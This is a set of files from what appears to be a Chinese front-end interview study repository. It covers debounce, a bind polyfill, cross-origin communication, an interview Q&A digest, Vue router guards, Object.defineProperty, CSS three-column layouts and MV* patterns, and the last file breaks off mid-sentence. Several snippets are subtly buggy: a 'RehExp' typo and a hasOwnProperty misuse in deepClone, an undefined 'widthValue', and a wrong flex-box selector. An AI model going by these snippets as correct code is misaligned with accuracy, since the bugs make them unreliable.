那就是不是非要等到事件停止触发 N 秒后才执行 // 而是希望立刻执行事件处理函数 // 然后再等到新的事件停止触发 N 秒后,才执行事件处理函数 function debounce2(callback, wait, immediate) { let timer; return function () { if (timer) { clearTimeout(timer) } if (immediate) { // 希望立即触发执行 // 当 timer 为 null 或者 undefined 时 // callNow 为 true let callNow = !timer; // 这段代码的意思是 // immediate为真时,会给 timer 一个具体 timer_id // 在 wait 秒之后,再将 timer 置为 null // 那么再执行这里的逻辑时 timer = setTimeout(() => { timer = null }, wait); if (callNow) { callback.apply(this, arguments) } } else { // 普通执行就好 timer = setTimeout(() => { callback.apply(this, arguments) }, wait) } } } function debounce3(callback, wait, immediate) { let timer; return function () { if (timer) { clearTimeout(timer) } if (immediate) { let callNow = !timer; timer = setTimeout(() => { timer = null }, wait); if (callNow) { callback.apply(this, arguments) } } else { // 普通执行 timer = setTimeout(() => { callback.apply(this, arguments) }, wait) } } }<file_sep>/JS基础类/test.js // bind Polyfill if (!Function.prototype.bind) { Function.prototype.bind = function(needBindThis) { // needBindThis--bind 操作时需要绑定的 this 对象 if (typeof this !== 'function') { throw new TypeError( 'Function.prototype.bind--What is trying to bind is not callable!' ) } /** * aArgs-- 参数列表 * fToBind-- 调用 bind 函数的上下文环境 * fNOP-- 用来代理需要维护的原型对象 * fBound-- 在bind 操作后需要返回的新函数 */ var aArgs = Array.prototype.slice.call(arguments, 1), fToBind = this, fNOP = function() {}, fBound = function() { // this instanceof fBound === true 时 // 说明 bind 返回的 fBound 被当做 new 的构造函数使用 return fToBind.apply( this instanceof fBound ? this : needBindThis, // 获取调用时 (fBound) 的传参,bind 返回的函数入参往往是这么传递的 aArgs.concat(Array.prototype.slice.call(arguments)) ) } // 维护原型关系 if (this.prototype) { fNOP.prototype = this.prototype } // 返回的函数 fBound 没有原型这个属性 // 下面的代码使得 fBound.prototype 是 fNOP 的实例 // 返回的 fBound 若作为 new 的构造函数使用,那么 new 生成的新对象作为 this 传入 fBound // 新对象的 __proto__ 就是 fNOP 的实例 fBound.prototype = new fNOP() return fBound } } // apply 的应用,找出数组中的最大最小值 var numbers = [5, 6, 2, 3, 7] // 应用(apply) Math.min/Math.max 内置函数完成 var max = Math.max.apply(null, numbers) var min = Math.min.apply(null, numbers) // 代码对比,使用简单循环完成 ;(max = -Infinity), (min = +Infinity) for (var i = 1; i < numbers.length; i++) { if (numbers[i] > max) { max = numbers[i] } if (numbers[i] < min) { min = numbers[i] } } // 但是如果数组特别大的话,会有超出 JS 引擎的参数长度限制的风险 // 所以可以考虑:将参数数组切块后循环传入 function minOfArray(arr) { var min = Infinity var QUANTUM = 32768 for (let i = 0, len = arr.length; i < len; i++) { var subMin = Math.min.apply(null, arr.slice(i, Math.min(i + QUANTUM, len))) min = Math.min(subMin, min) } return min } <file_sep>/通信类/knowledge.md # 通信类 什么是同源策略以及限制 前后端如何通信 如何创建 Ajax 跨域通信的几种方式 ## 什么是同源策略以及限制 源:协议 + 域名 + 端口 同源策略是限制一个源加载的文档或者脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的关键机制 在同源策略的限制下,不同源的文档或脚本会被限制以下操作 1. Cookie LocalStorage IndexDB 无法读取 2. DOM 无法获得 3. Ajax 请求不能发送 ## 前后端如何通信 1. Ajax(同源通信方式) 2. WebSocket(不受同源策略限制) 3. CORS(支持跨域通信,新的通信标准) ## 如何创建 Ajax 1. XMLHttpRequest 对象的工作流程 2. 兼容性处理 3. 事件的触发条件 4. 事件的触发顺序 看代码 ```js // 创建 Ajax 需要考虑兼容性 if (window.XMLHttpRequest) { xhr = new XMLHttpRequest() } else if (window.ActiveXObject) { xhr = new ActiveXObject('Microsoft.XMLHTTP') } xhr.onreadystatechange = function() { if (xhr.readyState === 4) { /* * xhr.readyState 共有四个取值 * 0 -- 请求还没有初始化 * 1 -- 已经同服务器建立连接 * 2 -- 请求已经接受 * 3 -- 正在处理请求 * 4 -- 请求已经完成并且服务器响应数据已经可以拿到了 */ if (xhr.status >= 200 && xhr.status < 400) { /* * 200 -- 请求成功状态码 * 206 -- range请求成功状态码 * 304 -- 请求端有缓存 */ /* * 服务器响应数据有两种类型 * JSON 格式 -- xhr.responseText(符合JSON语法的文本字符串) * XML Document -- xhr.responseXML(比较少用了) */ console.log(xhr.responseText) } else { console.log('this is problem request') } } } /* * xhr.open(method, url, flag) * method -- HTTP 请求方法 必须大写 * url -- 请求地址 ajax不能跨域,请确保不使用第三方域名 * flag -- Boolean值 默认值为 true 表示ajax请求是异步的 */ xhr.open('GET', 'http://test.com/index.html') /* * xhr.send() 方法的参数可以是任何想发给服务器的内容 * 如果是 post请求,发送表单数据时应该用服务器可以解析的格式 * POST方法传递数据时,需要设置请求的MIME类型 * xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') */ xhr.send() ``` ## 跨域通信的几种方式 1. JSONP - 动态创建`<script></script>`,window 对象中注册回调函数`callback` - 服务器根据解析请求路径中的`callback`参数 返回形如`callback(responseData)`格式的响应 - 然后本地在 script 标签的`onload`事件处理函数中调用`window[callback](responseData)` - 最后要记得`window[callback] = null` 2. Hash(锚点变化不会引起页面刷新) - url 的 hash 值变化不会引发页面刷新 - 假设现在三个页面:`www.one.com/a.html`、`www.two.com/b.html`、`www.one.com/c.html` - A 页面同 B 页面通信,B 页面通过`iframe`标签加载在 A 页面中,A 通过 JS 修改 B 的 src 值,将数据存储在 url 中的锚点区域 - B 注册 `window.onhashchange`事件处理函数,得到 A 传过来的信息 - 页面 B 接受到数据以后,如果有什么信息需要传递给 A 页面,那么需要中间页面 C 来帮忙,同样是通过 hash 3. postMessage - postMessage 是 HTML5 标准下的 跨域通信 标准 - `window.postMessage(data, origin)`,该方法用来跨域通信,接收两个参数:data -- 要传递的数据,建议只使用字符串格式;origin -- 目标窗口的源 协议+主机+端口号,路径会被省略;值设置成 `*`表示可以传递给任意窗口 - message 事件是 window(或者类 window) 对象调用 `postMessage(e)`时生成 - `postMessage(e)`中的 event 对象,有三个重要属性:`e.data` -- 传递过来的数据;`e.origin` -- 传递数据的源(协议+主机+端口);`e.source` -- 传递数据的窗口对象 4. WebSocket - WebSocket 是 HTML5 标准中出的协议 - WebSocket 是一个新的通信协议,跟 HTTP 协议基本没有关系,设计时只是兼容了现有浏览器的握手规范 - WebSocket 实现了真正的长连接,支持 WebSocket 协议的服务器可以主动推送消息给客户端(客户端也必须支持 WebSocket 协议才行) 5. CORS - CORS 是一个 W3C 标标准,全称是**跨域资源共享**(Cross-Origin-Resource-Share)。这个标准允许浏览器向非同源的服务器,发起 Ajax 请求,从而克服了 Ajax 只能同源使用的限制 - CORS 请求可分为简单请求和非简单请求。简单请求类似于传统网页的表单的跨域请求;浏览器在发送非简单请求之前,要先发送一次“预检”请求,询问服务器是否支持 CORS - CORS 与 JSONP 的使用目的相同,但是比 JSONP 更强大。JSONP 只支持 GET 请求,CORS 支持所有类型的 HTTP 请求。JSONP 的优势在于支持老式浏览器,以及可以向不支持 CORS 的网站请求数据。 <file_sep>/面试题/掘金面试分享-中级前端.md # 掘金面试分享 岗位目标:中级前端(1~3 年左右经验) ## js 基础 声明提升类--高频:变量声明和函数声明都会提升,但是函数声明会提升到变量声明前面。 ```js console.log(a) // function var a = 'variable' function a() { return 'function' } ``` web 页面数据存储方式--中频:主要有 1. cookie 2. sessionStorage 3. localStorage 4. indexedDB 从 MDN 了解下 IndexedDB IndexedDB 是一种在用户浏览器持久存储数据的方法。IndexedDB 对于存储大量数据的应用程序(例如借阅库中的 DVD 目录)和不需要持久连接 Internet 的应用程序(邮件客户端、代办事项或记事本)很有用 IndexedDB 是 key-value 型数据库(简单),它用于取代 WebSQL(关系型数据库,复杂),它的 API 有同步(synchronous)和异步(asynchronous)两种,异步 API 适合大多数情况,暂时没有主流浏览器支持同步 API 一些基本概念 IndexedDB 数据库使用 key-value 键值对存储数据。value 可以是结构非常复杂的对象,key 可以是对象的自身属性。开发者可以为对象的某个属性创建索引(index)以实现快速查询和列举排序。key 还可以是二进制对象 IndexedDB 是事务模式数据库,任何操作都发生在事务(transition)中。IndexedDB API 提供了索引(indexes)表(tables)指针(cursors)等等,但是所有的这些必须是依赖于某种事务的。所以开发者不能在事务外执行命令或者打开指针。事务(transition)有生命周期,在生存周期以后使用它会立即报错。并且,transition 是自动提交的,不可以手动提交 IndexedDB 的 API 都是异步的,不通过 return 语句返回数据,而是需要你提供一个回调函数来接受数据。执行 API 时,开发者以异步的方式向数据库发送一个“操作”请求。当操作完成时,数据库会以 DOM 事件的方式来通知你,同时事件的类型会告诉你这个操作是否成功完成。整个过程类似 XMLHttpRequest IndexedDB 的基本使用方式 1. 打开数据库 2. 在数据库中创建一个对象仓库(object store) 3. 启动一个事务,并发送一个数据库请求来执行一些读写操作 4. 监听正确类型的 DOM 事件以等待操作完成 5. 在数据库返回的结果的基础上做一些操作 什么情况下会遇到跨域,怎么解决--高频 1. 同源策略是浏览器的一个安全机制,协议+域名+端口相同才是同源。不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。 2. 解决方式:jsonp 跨域、nginx 反向代理、node.js 中间件代理、cors Promise 执行顺序--高频 ```js let promise1 = new Promise(function(resolve, reject) { console.log('1') resolve() }) promise1.then(function() { console.log('2') }) console.log('3') // 顺序 1 3 2 ``` EventLoop 机制 1. 首先要区分 JS 宿主环境,浏览器环境和 Node.js 环境的 EventLoop 是不一样的 2. 再是区分任务,同步任务和异步任务,异步任务中又分宏任务(Macro Task)和微任务(Micro Task) 3. 宏任务包括:script(整体代码)、setTimeout、setInterval、setImmediate(Node.js 独有)、I/O 任务、UI Rendering 任务 4. 微任务包括:Promise.then process.nextTick(Node.js 独有)、MutationObserver 5. 在同一个上下文当中,总的执行顺序是 **同步代码->Micro Task->Macro Task** 6. 浏览器按照一个 Macro Task 任务,所有 Micro Task 的顺序运行,Node.js 按照六个阶段的顺序运行,并在每个阶段后面都会运行 MicroTask 队列 7. 同个 Micro Task 队列下 `process.tick()` 会优于`Promise` for 循环作用域问题--高频 写出以下代码的输出值,尝试分别使用 es5 和 es6 的语法调整输出值 ```js for (var i = 1; i <= 5; i++) { setTimeout(() => { console.log(i) }, i * 1000) } // 输出5个6 // 因为回调函数在for循环后执行,所有函数共享一个i的引用 // es5--使用立即函数创建局部作用域,闭包 for (var i = 1; i <= 5; i++) { ;(j => { setTimeout(() => { console.log(j) }, j * 1000) })(i) } // es6-let创建局部作用域 for (let i = 1; i <= 5; i++) { setTimeout(() => { console.log(i) }, i * 1000) } ``` 闭包的作用--中频 闭包是指函数 A 内部定义的函数 B 可以访问函数 A 作用域中的任意变量,当函数 B 在外部被调用时,即使函数 A 销毁了,被函数 B 引用的变量还会保存在内存中 作用:es5 用来模拟私有方法,控制代码的访问权限 原型对象和原型链--高频 构造函数的`prototype`指向构造函数的原型对象,原型对象的`constructor`指向原型对象的构造函数,实例的`__proto__`指向生成该实例的构造函数的原型对象 重绘和重排--中频 重绘:当页面中的元素,它的样式改变并不影响它在文档流中的位置时(比如 color background-color visibility),浏览器重新绘制元素样式的过程称为重绘 重排:当 Render Tree(DOM)中部分或者全部元素的尺寸、结构或者某些属性发生变化时,这些变化影响到了元素在文档流中的位置,浏览器重新渲染部分或者全部文档的过程称为重排 重排比重绘消耗性能开支大,重排一定伴随重绘,重绘不一定触发重排 实现一个深拷贝--中频 主要考查思路,因为对象属性值可能也是对象,所以需要递归操作,然后判断 value 类型(普通对象、数组、正则对象、函数),看代码 ```js function deepClone(origin) { // 维护两个存储循环引用的数组 let parents = [] let children = [] let _clone = parent => { if (parent === null || typeof parent !== 'object') { // 如果 origin 为 null 或者为简单数据类型 // 直接返回原值 return parent } let child, prototype if (isType(parent, 'Array')) { // 数组的特殊处理 child = [] } else if (isType(parent, 'RegExp')) { // 正则对象的特殊处理 child = new RegExp(parent.source, getRegExp(parent)) if (parent.lastIndex) { child.lastIndex = parent.lastIndex } } else if (isType(parent, 'Date')) { // 日期对象处理 child = new Date(parent.getTime()) } else { // 处理被克隆对象的原型 prototype = Object.getPrototypeOf(parent) // 切断原型链 child = Object.create(prototype) } // 处理循环引用 let index = parents.indexOf(parent) if (index !== -1) { // 如果维护的父数组中存在本对象 // 说明被引用过,那么直接返回这个对象 return children[index] } parents.push(parent) children.push(child) for (let key in parent) { // 遍历递归 if (!Object.prototype.hasOwnProperty(key)) { // 过滤Object构造函数的原型对象上的属性 child[key] = _clone(parent[key]) } } return child } return _clone(origin) } function isType(obj, type) { if (typeof obj !== 'object') { return false } const typeString = Object.prototype.toString.call(obj) let flag switch (type) { case 'Array': flag = typeString === '[object Array]' break case 'Date': flag = typeString === '[object Date]' break case 'RehExp': flag = typeString === '[object RegExp]' break default: flag = false } return flag } function getRegExp(re) { let flags = '' if (re.global) { flags += 'g' } if (re.ignoreCase) { flags += 'i' } if (re.multiline) { flags += 'm' } return flags } ``` 浏览器相关:浏览器从加载到渲染的过程,比如从输入一个网址到显示网页发生了什么 首先是加载过程 1. 浏览器根据 DNS 服务器解析得到域名的 IP 地址 2. 向这个 IP 地址的服务器发起 HTTP 请求 3. 服务器处理 HTTP 请求给出 HTTP 响应 4. 浏览器得到服务器的返回内容 再是渲染过程 1. 根据 HTML 结构生成 DOM 树 2. 根据 CSS 样式表生成 CSSOM 3. 根据 DOM 树和 CSSOM 整合生成 Render Tree 4. 浏览器按照 Render Tree 开始 UI 渲染 5. 遇到`<script>`标签会阻断 UI 渲染 浏览器缓存机制--中频 分类:强缓存和协商缓存 强缓存相关 HTTP 头部:`Expires`、`Cache-Control` 协商缓存相关 HTTP 头部:`Last-Modified`--`If-Modified-Since`、`Etag`--`If-None-Match` 性能优化--中频 优化方向有两个 1. 减少页面体积,提升网络加载 - 静态资源的压缩合并,比如 JS、CSS 代码压缩合并,雪碧图 - 静态资源缓存,合理使用浏览器缓存机制 - 使用 CDN 让获取资源的速度加快 2. 优化页面渲染 - CSS 文件在 HTML 文档中靠前,JS 文件靠后 - 懒加载(图片懒加载,下拉数据加载更多) - 减少 DOM 查询操作,对 DOM 查询做缓存 - 减少 DOM 操作,多个操作尽量放在一起执行(DocumentFragment) - 事件节流 - 尽早执行操作(DOM 的 ContentLoad 事件) - SSR 服务器渲染,数据直接输出到 HTML,减少浏览器使用 JS-模板渲染页面 HTML 的时间 ## Vue 框架相关 组件通信方式 1. 父--》子 - props(v-bind) - `$refs` 2. 子--》父 - events(v-on) - `$parent,$root` 3. 非父子组件 - event bus - vuex MVVM 框架(Model View ViewModel) MVVM 框架双向绑定的原理 核心:`Object.defineProperty` new MVVM() Observer Dep Watcher Update Compile Vue 路由导航守卫钩子(导航守卫)--中频 - 全局守卫 - 路由独享守卫 - 组件内钩子 `v-if` 和 `v-show`的区别 相同点:都是用来做条件渲染,通过条件控制元素的显示与隐藏。 不同点:v-if 是“真正”的条件渲染,因为它会确保在切换过程中条件块内的事件监听器和子组件适当地被销毁和重建。v-if 也是惰性的:如果在初始渲染时条件为假,则什么也不做——直到条件第一次变为真时,才会开始渲染条件块。相比之下,v-show 就简单得多——不管初始条件是什么,元素总是会被渲染,并且只是简单地基于 CSS 进行切换。 一般来说,v-if 有更高的切换开销,而 v-show 有更高的初始渲染开销。因此,如果需要非常频繁地切换,则使用 v-show 较好;如果在运行时条件很少改变,则使用 v-if 较好<file_sep>/前端常用排序算法/快速排序/quick-sort.js function quickSort(arr = []) { if (arr.length <= 1) { return arr } var previousIndex = Math.floor(arr.length / 2) // pivot 基本元素 var pivot = arr.splice(previousIndex, 1)[0] var left = [] var right = [] for (var i = 0; i < arr.length;i++) { if (arr[i] < pivot) { left.push(arr[i]) } else { right.push(arr[i]) } } return quickSort(left).concat([pivot], quickSort(right)) }<file_sep>/MVVM框架-双向绑定/vue-router中的导航守卫.md # 导航守卫 导航表示路由正在发生变化。导航守卫,正如其名,`vue-router`提供的导航守卫主要是通过跳转或者取消的方式来“守卫”导航。 vue-router 中,导航守卫可分为以下三类 1. 全局导航守卫 2. 单个路由独享的导航守卫 3. 组件导航守卫 ## 全局导航守卫 开发者可以使用`router.beforeEach`注册一个全局前置守卫 ```js const router = new VueRouter({ // ... }) router.beforeEach((to, from, next) => { /** * to: Route -- 即将要进入的目标路由对象 * from: Route -- 当前导航正要离开的路由 * next: Function -- 一定要调用该方法来resolve这个钩子,导航效果依赖next函数的执行 * next() 进行管道中的下一个钩子,如果所有钩子执行完了,那么导航状态就是confirmed * next(false) 中断当前导航,回退到 from: Router 这个路由界面 * next(url) 或者 next({path: url}) 当前导航中断,跳转到 url 路由所对应界面的 * next(error) 当前导航中断,错误 error 会被传递给 router.onError() 注册过的回调 */ console.log('跳转路由', to) console.log('当前路由', from) next() }) ``` 全局解析守卫`router.beforeResolve`,与`router.beforeEach()`类似,触发时机不同:全局解析守卫是在导航被确认之前,同时在所有组件内守卫和异步路由组件被解析之后;全局前置守卫是在所有组件内守卫和异步路由组件还未被解析前 全局后置守卫`router.afterEach()`,没有`next`这个回调参数,也不会改变路由导航 ## 路由独享守卫 开发者可以在路由配置上直接定义`beforeEnter`守卫 ```js const router = new VueRouter({ rotues: [ { path: '/foo', component: Foo, beforeEnter: (to, from, next) => { // ... } } ] }) ``` ## 组件内守卫 开发者也可以在组件内定义以下路由导航守卫 1. `beforeRouteEnter` 2. `beforeRouteUpdate` 3. `beforeRouteLeave` ```js const Foo = { template: `...`, beforeRouteEnter((to, from, next) => { // 在渲染该组件的对应路由被 confirm 前调用 // 不!能!获取组件实例 `this` // 因为这个守卫执行前,组件实例还没有被创建 // 不过好在 next() 支持传入一个回调函数 // 在这个回调函数里传入 vm 组件实例 next(vm => { // vm 就是组件实例 }) }), beforeRouteUpdate((to, from, next) => { // 在当前路由改变,但是该组件被复用时,这个守卫被触发 // 举例来说,对于一个带有动态参数的路径 /foo:id // 在由 /foo:1 跳转至 /foo:2 时这个守卫会被触发 // 由于会渲染同样的 Foo 组件,因此这个组件的实例会被复用 // 而这个导航守卫就会在这样的情况下触发 // 这个导航守卫是可以访问到组件实例 this 的 }), beforeRouteLeave((to, from, next) => { // 导航离开该组件的对应路由时触发 // 可以访问组件实例 this // 这个离开守卫一般用来禁止用户在还未保存修改前突然离开 // 此时使用 next(false) 来取消导航 const answer = window.confirm('Do you really want to leave? you have unsaved changed') if (answer) { next() } else { next(false) } }) } ``` ## 完整的导航解析流程 1. 导航被触发(vue-router开始工作) 2. 在失活的组件里调用离开守卫`beforeRouteLeave` 3. 调用全局前置守卫`beforeEach` 4. 在重用的组件里调用`beforeRouteUpdate` 5. 在路由配置里调用独享路由组件`beforeEnter` 6. 解析异步路由组件 7. 在被激活的组件里调用进入守卫`beforeRouteEnter` 8. 调用全局的`beforeResolve`守卫 9. 导航被确认 10. 调用全局后置守卫`afterEach` 11. 触发DOM更新 12. 创建好的组件实例将在`beforeRouteEnter`的`next()`回调函数里传入<file_sep>/Vue+TypeScript/test.ts // boolean let isDone: boolean = false // number let decLiteral: number = 6 let hexLiteral: number = 0xf00d <file_sep>/MVVM框架-双向绑定/defineProperty.md # Object.defineProperty `Object.defineProperty()`方法会直接在一个对象上定义一个新属性,或者修改一个对象的现有属性, 并返回这个对象。 具体语法--`Object.defineProperty(obj, prop, descriptor)`,参数解释 - obj:要修改的对象 - prop:要定义或者修改的属性名(也就是 object 的 key) - descriptor:要被定义或者修改的属性的属性描述符 - 函数返回值:修改后的对象 `Object.defineProperty()`函数描述:该方法允许开发者精准添加或者修改对象的属性。通过赋值操作添加的普通属性是可以枚举的,能够在对象属性枚举期间呈现出来(即可以在`for-in`和`Object.keys()`方法中枚举出来)。通过`Object.defineProperty`添加或修改的属性,属性值可以改变,也可以被删除。 ## 属性描述符 JS 对象里目前存在的属性描述符有两种:数据描述符和存取描述符。**数据描述符**是一个具有值属性,该值可能是可写的,也可能是不可写的。存取描述符是由`getter()`和`setter()`函数对组成的。 数据描述符和存取描述符均有的可选键值 - configurable:当且仅当该属性的`configurable`值为`true`,该属性的属性描述符才能够被改变,同时该属性也能从对应的对象上删除。默认值为`false` - enumerable:当且仅当该属性的`enumerable`值为`true`时,该属性才能够出现在对象的枚举属性里。默认值为`false` 数据描述符才有的可选键值 - value:该属性对应的具体值,可以是任何有效的 JS 值(数值,对象 or 函数)。默认值为`undefined` - writable:当且仅当该属性的`writable`为`true`时,`value`的值才能够被赋值运算符改变。默认值为`false` 存取描述符才有的可选键值 - get:一个给属性提供`getter`的方法,如果没有`getter`则为`undefined`。当访问该属性时,该方法会被执行,方法执行时没有参数传入,但是会传入`this对象`。(由于继承关系,这里的`this`并不一定是定义该属性的对象) - set:一个给属性提供`setter`的方法,如果没有`setter`则为`undefined`。当属性的值被修改时,触发执行该方法,该方法接受唯一参数,即该属性新的值 如果一个描述符(`descriptor`)不具有 value、writable、get 和 set 任意一个键值,那么它将会被认为仅仅是一个数据描述符。如果一个描述符同时有(value 或 writable)和(get 和 set)键值,那么将会产生一个异常。 看代码 ```js // 隐式定义 // 使用 __proto__ var obj = {} var descriptor = Object.create(null) // 没有继承属性 // 默认没有 enumerable、configurable、writable descriptor.value = 'static' Object.defineProperty(obj, 'key', descriptor) // 显示定义 Object.defineProperty(obj, 'key', { enumerable: false, configurable: false, writable: false, value: 'static' }) // 循环使用同一个对象 function withValue(value) { var d = withValue.d || (widthValue.d = { enumerable: false, configurable: false, writable: false, value: null }) d.value = value return d } // ... 并且 ... Object.defineProperty(obj, 'key', withValue('static'))( // 如果freeze可用,防止代码添加或删除对象原型的属性 // (value, get, set, enumerable, writable, configurable) Object.freeze || Object )(Object.prototype) ``` ## 一般的 Setters 和 Getters 以下例子展示了如何实现一个自存档对象,当设置`temperatures`属性时,`archive`数组会获取日志条目 ```js function Archiver() { var temperature = null var archive = [] Object.defineProperty(this, 'temperature', { get: function() { console.log('get') return temperature }, set: function(value) { temperature = value archive.push({ val: temperature }) } }) this.getArchive = function() { return archive } } ``` 或者 ```js var pattern = { get: function() { return 'I alway return this string,whatever you have assigned' }, set: function() { this.myName = 'this is my name string' } } function TestDefinesSetAndGet() { Object.defineProperty(this, 'myProperty', pattern) } var instance = new TestDefinesSetAndGet() instance.myProperty = 'test from instance' // 属性继承 // 'I alway return this string,whatever you have assigned' console.log(instance.myProperty) // 'this is my name string' console.log(instance.myName) ``` ## 继承属性 如果访问者的属性是被继承的,它的`get`和`set`方法会在子对象的属性被访问或者修改时被调用。如果这些方法用一个变量存值,该值会被所有对象共享 ```js function MyClass() {} var value Object.defineProperty(MyClass.prototype, 'x', { get() { console.log('可被继承的get') return value }, set(newValue) { console.log('可被继承的set') value = newValue } }) var a = new MyClass() var b = new MyClass() a.x = 1 console.log(b.x) ``` 这表示可以通过将值存储在另一个属性中固定,在`get`和`set`方法中,`this`指向某个被访问和修改属性的对象 ```js function MyClass(name) { this.name = name } Object.defineProperty(MyClass.prototype, 'x', { get() { console.log('可被继承的get') console.log('此处的this--', this) return this.stored_x }, set(newValue) { console.log('可被继承的set') console.log('此处的this--', this) this.stored_x = newValue } }) var a = new MyClass('a') var b = new MyClass('b') a.x = 1 console.log(b.x) ``` 不像访问者属性,值属性始终在对象自身上设置,而不是一个原型。然而,如果一个不可写属性被继承,它仍然可以防止修改对象的属性 ```js function MyClass() {} MyClass.prototype.x = 1 Object.defineProperty(MyClass.prototype, 'y', { writable: false, value: 1 }) var a = new MyClass() a.x = 2 console.log(a.x) // 2 console.log(MyClass.prototype.x) // 1 a.y = 2 // Ignored throw in static mode console.log(a.y) // 1 console.log(MyClass.prototype.y) // 1 ``` <file_sep>/三栏布局/knowledge.md # 三栏布局 三栏布局是常见的 CSS 布局面试题:高度已知,请写出三栏布局,其中左右栏宽度各为 300px,中间自适应。 ## 浮动解决方案 ```html <section class="layout float"> <style media="screen"> .layout.float .left { float: left; width: 300px; background: red; } .layout.float .right { float: right; width: 300px; background: blue; } .layout.float .center { background: yellow; } </style> <article class="left-right-center"> <div class="left"></div> <div class="right"></div> <div class="center"> <h1>浮动解决方案</h1> <p>1. 这是三栏布局浮动的中间部分</p> <p>2. 这是三栏布局浮动的中间部分</p> </div> </article> </section> ``` ## 绝对定位解决方案 ```html <section class="layout absolute"> <style media="screen"> .layout.absolute div { position: absolute; } .layout.absolute .left { left: 0; width: 300px; background: red; } .layout.absolute .center { left: 300px; height: 300px; background: yellow; } .layout.absolute .right { right: 0; width: 300px; background: blue; } </style> <article class="left-center-right"> <div class="left"></div> <div class="center"> <h1>浮动解决方案</h1> <p>1. 这是三栏布局绝对定位的中间部分</p> <p>2. 这是三栏布局绝对定位的中间部分</p> </div> <div class="right"></div> </article> </section> ``` ## Table 解决方案 ```html <section class="layout table"> <style media="screen"> .layout.table .left-center-right { display: table; width: 100%; height: 100px; } .layout.table div { display: table-cell; } .layout.table .left { width: 300px; background: red; } .layout.table .center { background: yellow; } .layout.table .right { width: 300px; background: blue; } </style> <article class="left-center-right"> <div class="left"></div> <div class="center"> <h1>浮动解决方案</h1> <p>1. 这是三栏布局Table的中间部分</p> <p>2. 这是三栏布局Table的中间部分</p> </div> <div class="right"></div> </article> </section> ``` ## Flex-Box 解决方案 ```html <section class="layout flex-box"> <style media="screen"> .layout.table .left-center-right { display: flex; } .layout.flex-box .left { width: 300px; background: red; } .layout.flex-box .center { flex: 1; background: yellow; } .layout.flex-box .right { width: 300px; background: blue; } </style> <article class="left-center-right"> <div class="left"></div> <div class="center"> <h1>Flex解决方案</h1> <p>1. 这是三栏布局Flex-box的中间部分</p> <p>2. 这是三栏布局Flex-box的中间部分</p> </div> <div class="right"></div> </article> </section> ``` ## Grid 解决方案 Grid(网格布局)是 CSS3 新一代的布局标准 ```html <section class="layout grid"> <style media="screen"> .layout.grid .left-center-right { display: grid; width: 100%; /* 设置网格元素的高 */ grid-template-rows: 100px; grid-template-columns: 300px auto 300px; } .layout.grid .left { background: red; } .layout.grid .center { background: yellow; } .layout.grid .right { background: blue; } </style> <article class="left-center-right"> <div class="left"></div> <div class="center"> <h1>浮动解决方案</h1> <p>1. 这是三栏布局Grid的中间部分</p> <p>2. 这是三栏布局Grid的中间部分</p> </div> <div class="right"></div> </article> </section> ``` ## 拓展 ### 五种方案的优缺点 浮动:需要清除浮动(BFC 来清除)--兼容性好 绝对:快捷--子元素脱离文档流,有效性差 Flex-box:表现完美,移动端 CSS 布局宠儿 Table:兼容性非常好,适合 IE 党(还是要摒弃) Grid: 新一代标准,但是兼容性还在努力追赶 ### “高度已知”这个条件去除后,哪些方案依然表现良好 Flex-box + Table + Grid 表现依然良好 其他两个内容会溢出 ### 五种方案的在实际开发中的兼容性 首选 Flex-box ## 总结 - 语义化掌握到位--良好的 HTML 标签结构 - 页面布局理解深刻 - CSS 基础知识扎实 - 思维灵活,积极上进 - 代码书写规范 ## 题目变化 三栏布局: 1. 左右宽度固定,中间自适应 2. 上下高度固定,中间自适应 两栏布局: 1. 左宽度固定,右自适应 2. 右宽度固定,左自适应 3. 上宽度固定,下自适应 4. 下宽度固定,上自适应<file_sep>/页面性能/defer1.js console.log('defer 1')<file_sep>/界面之下的MV模式发展/mv模式的发展之路.md # 前言 无论是客户端开发还是前端开发,对于 MVC、MVVM 这些名词应该都有所了解,都是为了解决图形界面应用程序复杂性管理而产生的应用架构设计模式。 ## GUI 程序所面临的问题 图形界面的应用程序提供给用户可视化的操作界面,这个界面提供数据和信息。用户的输入行为(鼠标、键盘等)会执行一些应用逻辑,应用逻辑--application logic 则可能会触发一些业务逻辑--business logic,而业务逻辑是可以对应用程序的数据进行变更的。数据的变更自然需要用户界面的同步变更以提供最准确的信息。例如用户对一个电子表格进行重新排序的时候,应用程序需要响应用户操作,对数据进行排序,然后需要将排序结果同步显示到界面上。 所以在开发应用程序的时候,为了更好地管理应用程序的复杂性,基于**职责分离--Separation of Duties**的思想对应用程序进行分层。在开发图形界面应用程序的时候,会把管理用户界面的层次称为 View,应用程序的数据为 Model(注意这里的 Model 是指 Domain Model,这个应用程序对需要解决的问题的数据抽象,不包含应用状态,可以简单理解为对象)。Model 提供数据操作接口,执行相应的业务逻辑。 有了 View 和 Model 的分层,那么问题就来了:View 如何同步 Model 的变更,View 和 Model 之间如何黏合在一起 带着这个问题开始探索 MV 模式,会发现这些模式之间的差异可以归纳为对这个问题处理方式的不同。而几乎所有的 MV 模式都是经典的 Smalltalk-80 MVC 的修改版 ## Smalltalk-80 MVC MVC 除了把应用程序分为 View、Model 层,还额外加了一个 Controller 层,它的职责是协作 Model 和 View 的交互(路由处理、预输入处理),属于应用逻辑,而 Model 则进行业务逻辑处理。Controller 和 View 都依赖 Model 层;Controller 和 View 可以互相依赖,但是不同的实现依赖也会不一样,有些实现中 Controller 和 View 是单向依赖,有的则是双向依赖,但其实关系不大,后面能够看到它们之间的依赖关系都是为了把因用户兴为而触发的事件的处理权交给 Controller 用户在 View 页面操作以后,View 捕获到这个操作,会把处理的权利转交给 Controller (Pass calls);Controller 会对来自 View 的数据进行预处理,再决定调用 Model 的哪个接口;然后 Model 再执行相关的业务逻辑;当 Model 执行业务逻辑变更数据以后,Model 会通过观察者模式(Observer Pattern)通知 View;View 通过观察者模式收到 Model 变更的消息以后,会向 Model 请求最新的数据,然后更新界面。 MVC 架构需要注意的几个点 1. View 是把控制权转交给了 Controller,Controller 执行应用程序相关的应用逻辑(对来自 View 的数据进行预处理、决定调用 Model 的哪个接口) 2. Controller 操作 Model,Model 执行业务逻辑对数据进行处理,但是不会直接操作 View,Model 对 View 是无知的 3. View 和 Model 的同步消息是通过观察者模式进行,而同步操作是由 View 自己请求 Model 的数据然后对视图进行更新 MVC 架构模式的精髓就在于第三点:View 和 Model 的同步是通过观察者模式实现的,具体表现形式可以是 Pub/Sub 或者 事件订阅。观察者模式的好处是:不同的 MVC 三角关系可能有同样的 Model,一个 MVC 